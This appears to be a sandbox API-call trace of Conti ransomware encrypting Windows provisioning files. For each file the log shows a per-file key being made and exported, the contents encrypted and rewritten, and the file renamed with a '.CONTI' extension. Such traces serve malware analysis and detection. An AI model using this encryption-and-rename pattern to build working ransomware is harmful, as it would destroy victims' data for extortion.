	[0113.696] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.696] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.696] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\495__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\495__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.697] GetProcessHeap () returned 0x1720000
	[0113.697] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.697] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0113.697] GetProcessHeap () returned 0x1720000
	[0113.697] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180a6b8 | out: hHeap=0x1720000) returned 1
	[0113.697] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0113.697] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b53708 | out: phKey=0x6b53708*=0x17c8370) returned 1
	[0113.697] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5370c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b5370c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0113.698] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.698] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0113.698] GetLastError () returned 0x0
	[0113.698] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=731) returned 1
	[0113.699] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2db
	[0113.699] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.699] SetEndOfFile (hFile=0x3cc) returned 1
	[0113.699] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.699] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.699] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b5370c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b5370c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.705] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.705] ReadFile (in: hFile=0x3cc, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2db, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2db, lpOverlapped=0x0) returned 1
	[0113.706] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2db, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2e0) returned 1
	[0113.706] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.706] WriteFile (in: hFile=0x3cc, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.706] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.706] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b53700*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b53700*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0113.706] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.706] CloseHandle (hObject=0x3cc) returned 1
	[0113.706] GetProcessHeap () returned 0x1720000
	[0113.706] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.706] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0113.706] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.706] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.707] GetProcessHeap () returned 0x1720000
	[0113.707] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.707] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.707] GetProcessHeap () returned 0x1720000
	[0113.707] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c6fe8 | out: hHeap=0x1720000) returned 1
	[0113.707] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0113.707] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b53278 | out: phKey=0x6b53278*=0x17c8330) returned 1
	[0113.707] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5327c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b5327c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0113.708] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.708] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0113.708] GetLastError () returned 0x0
	[0113.708] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=725) returned 1
	[0113.708] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d5
	[0113.708] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.708] SetEndOfFile (hFile=0x3cc) returned 1
	[0113.709] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.709] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.709] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b5327c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b5327c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.715] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.715] ReadFile (in: hFile=0x3cc, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2d5, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2d5, lpOverlapped=0x0) returned 1
	[0113.715] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2d5, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2e0) returned 1
	[0113.715] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.715] WriteFile (in: hFile=0x3cc, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.715] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.715] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b53270*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b53270*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0113.716] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.716] CloseHandle (hObject=0x3cc) returned 1
	[0113.716] GetProcessHeap () returned 0x1720000
	[0113.716] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.716] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0113.716] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.716] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.717] GetProcessHeap () returned 0x1720000
	[0113.717] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.717] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.717] GetProcessHeap () returned 0x1720000
	[0113.717] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8758 | out: hHeap=0x1720000) returned 1
	[0113.717] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0113.717] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52de8 | out: phKey=0x6b52de8*=0x17c8330) returned 1
	[0113.717] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52dec, pdwDataLen=0x4e7fc24 | out: pbData=0x6b52dec*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0113.718] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.718] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0113.718] GetLastError () returned 0x0
	[0113.718] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=720) returned 1
	[0113.718] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0113.718] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.718] SetEndOfFile (hFile=0x3cc) returned 1
	[0113.718] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.718] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.718] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b52dec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b52dec*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.724] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.725] ReadFile (in: hFile=0x3cc, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.725] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2d0, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2e0) returned 1
	[0113.725] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.725] WriteFile (in: hFile=0x3cc, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.725] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.725] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b52de0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b52de0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0113.725] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.725] CloseHandle (hObject=0x3cc) returned 1
	[0113.725] GetProcessHeap () returned 0x1720000
	[0113.725] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.725] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0113.725] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.725] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.726] GetProcessHeap () returned 0x1720000
	[0113.726] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.726] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.726] GetProcessHeap () returned 0x1720000
	[0113.726] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8e10 | out: hHeap=0x1720000) returned 1
	[0113.726] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0113.726] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b53030 | out: phKey=0x6b53030*=0x17c8330) returned 1
	[0113.726] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53034, pdwDataLen=0x4e7fc24 | out: pbData=0x6b53034*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0113.727] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml")) returned 0x20
